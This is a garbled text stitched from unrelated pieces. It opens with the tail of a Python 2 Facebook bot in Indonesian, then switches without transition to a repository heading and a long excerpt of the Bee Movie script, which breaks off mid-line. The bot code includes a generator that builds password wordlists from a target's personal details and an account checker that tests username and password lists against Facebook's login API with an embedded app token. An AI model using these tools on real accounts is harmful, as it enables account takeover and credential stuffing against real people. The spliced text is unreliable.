'\x1b[1;91m[!] Koneksi Error' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def accept(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) teman = json.loads(r.text) if '[]' in str(teman['data']): print '\x1b[1;91m[!] Tidak ada permintaan pertemanan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in teman['data']: gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) a = json.loads(gas.text) if 'error' in str(a): print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def unfriend(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;97mStop \x1b[1;91mCTRL+C' print try: pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(pek.text) for i in cok['data']: nama = i['name'] id = i['id'] requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id except IndexError: pass except KeyboardInterrupt: print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def lain(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Buat postingan' print '\x1b[1;37;40m2. Buat Wordlist' print '\x1b[1;37;40m3. Akun Checker' print '\x1b[1;37;40m4. Lihat daftar grup' print '\x1b[1;37;40m5. Profile Guard' print print '\x1b[1;97m ->Coming soon<-' print print '\x1b[1;31;40m0. Kembali' print pilih_lain() def pilih_lain(): other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if other == '': print '\x1b[1;91m[!] Jangan kosong' pilih_lain() else: if other == '1': status() else: if other == '2': wordlist() else: if other == '3': check_akun() else: if other == '4': grupsaya() else: if other == '5': guard() else: if other == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada' pilih_lain() def status(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ') if msg == '': print '\x1b[1;91m[!] Jangan kosong' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) op = json.loads(res.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def wordlist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' print 40 * '\x1b[1;97m\xe2\x95\x90' a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ') file = open(a + '.txt', 'w') b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ') c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ') d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ') e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') f = e[0:2] g = e[2:4] h = e[4:] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ') j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ') k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') l = k[0:2] m = k[2:4] n = k[4:] file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) wg = 0 while wg < 100: wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while en < 100: en = en + 1 file.write(i + str(en) + '\n') word = 0 while word < 100: word = word + 1 file.write(d + str(word) + '\n') gen = 0 while gen < 100: gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except IOError as e: print '\x1b[1;91m[!] Gagal membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def check_akun(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' print 40 * '\x1b[1;97m\xe2\x95\x90' live = [] cek = [] die = [] try: file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') list = open(file, 'r').readlines() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for meki in list: username, password = meki.strip().split(str(pemisah)) url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password elif 'www.facebook.com' in mpsh['error_msg']: cek.append(password) print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password else: die.append(password) print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def grupsaya(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) gud = json.loads(uh.text) for p in gud['data']: nama = p['name'] id = p['id'] f = open('grupid.txt', 'w') listgrup.append(id) f.write(id + '\n') print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama) print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) print 40 * '\x1b[1;97m=' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup) print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt' f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except KeyError: os.remove('grupid.txt') print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def guard(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Aktifkan' print '\x1b[1;37;40m2. NonAktifkan' print '\x1b[1;31;40m0. Kembali' print g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if g == '1': aktif = 'true' gaz(toket, aktif) else: if g == '2': non = 'false' gaz(toket, non) else: if g == '0': lain() else: if g == '': keluar() else: keluar() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: if '"is_shielded":false' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: print '\x1b[1;91m[!] Error' keluar() if __name__ == '__main__': login()
S4ltster / BeemovieBee Movie script for educational purposes only, anyways According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Coming! Hang on a second. Hello? Barry? Adam? Can you believe this is happening? I can't. I'll pick you up. Looking sharp. Use the stairs, Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. You got lint on your fuzz. Ow! That's me! Wave to us! We'll be in row 118,000. Bye! Barry, I told you, stop flying in the house! Hey, Adam. Hey, Barry. Is that fuzz gel? A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around The Hive. You did come back different. Hi, Barry. Artie, growing a mustache? Looks good. Hear about Frankie? Yeah. You going to the funeral? No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp under the circumstances. Well, Adam, today we are men. We are! Bee-men. Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive City graduating class of 9:15. That concludes our ceremonies And begins your career at Honex Industries! Will we pick our job today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. Wonder what it'll be like? A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to The Hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! That girl was hot. She's my cousin! She is? Yes, we're all cousins. Right. You're right. At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. What do you think he makes? Not enough. Here we have our latest advancement, the Krelman. What does that do? Catches that little strand of honey that hangs after you pour it. Saves us millions. Can anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Check it out. Hey, those are Pollen Jocks! Wow. I've never seen them this close. They know what it's like outside The Hive. Yeah, but some don't come back. Hey, Jocks! Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! I wonder where they were. I don't know. Their day's not planned. Outside The Hive, flying who knows where, doing who knows what. You can't just decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. Couple of Hive Harrys. Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! Oh, my! I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. Six miles, huh? Barry! A puddle jump for us, but maybe you're not up for it. Maybe I am. You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? Well, there's a lot of choices. But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! Barry, you are so funny sometimes. I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! You're gonna be a stirrer? No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. We're starting work today! Today's the day. Come on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... Is it still available? Hang on. Two left! One of them's yours! Congratulations! Step to the side. What'd you get? Picking crud out. Stellar! Wow! Couple of newbies? Yes, sir! Our first day! We are ready! Make your choice. You want to go first? No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. Any chance of getting the Krelman? Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? I'm going out. Out? Out where? Out there. Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. Look at that. Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. Thank you. OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! That's awful. And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. Antennae, check. Nectar pack, check. Wings, check. Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader, We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! Ever see pollination up close? No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Cool. I'm picking up a lot of bright yellow, Could be daisies, Don't we need those? Copy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Chemical-y. Careful, guys. It's a little grabby. My sweet lord of bees! Candy-brain, get off there! Problem! Guys! This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Coming in at you like a missile! Help me! I don't think these are flowers. Should we tell him? I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! Do something! I'm driving! Hi, bee. He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Can't fly in rain. Can't fly in rain. Can't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Check out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him.It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. Vanessa, next week? Yogurt night? Sure, Ken. You know, whatever. You could put carob chips on there. Bye. Supposed to be less calories. Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Come on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. You're talking. Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. I'm talking with a bee. Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. Wait! How did you learn to do that? What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. That's very funny. Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Can I... get you something? Like what? I don't know. I mean... I don't know. Coffee? I don't want to put you out. It's no trouble. It takes two minutes. It's just coffee. I hate to impose. Don't be ridiculous! Actually, I would love a cup. Hey, you want rum cake? I shouldn't. Have some. No, I can't. Come on! I'm trying to lose a couple micrograms. Where? These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for The Hive, but I can't do it the way they want. I know how you feel. You do? Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. Really? My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. Why do girls put rings on their toes? Why not? It's like putting a hat on your knee. Maybe I'll try that. You all right, ma'am? Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Can I take a piece of this with me? Sure! Here, have a crumb. Thanks! Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. Sounds amazing. It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. Do they try and kill you, like on TV? Some of them. But some of them don't. How'd you get back? Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. Well... Well? Well, I met someone. You did? Was she Bee-ish? A wasp?! Your parents will kill you! No, no, no, not a wasp. Spider? I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. Her name's Vanessa. Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside The Hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? They call it a crumb. It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! You know what a Cinnabon is? No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! Thinking bee. Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! We're still here. I told you not to yell at him. He doesn't respond to yelling! Then why yell at me? Because you don't listen! I'm not listening to this. Sorry, I've gotta go. Where are you going? I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. What is wrong with you?! It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. I lost a cousin to Italian Vogue. I'll bet. What in the name of Mighty Hercules is this? How did this get here? cute Bee, Golden Blossom, Ray Liotta Private Select? Is he that actor? I never heard of him. Why is this here? For people. We eat it. You don't have enough food of your own? Well, yes. How do you get it? Bees make it. I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! It's organic. It's our-ganic! It's just honey, 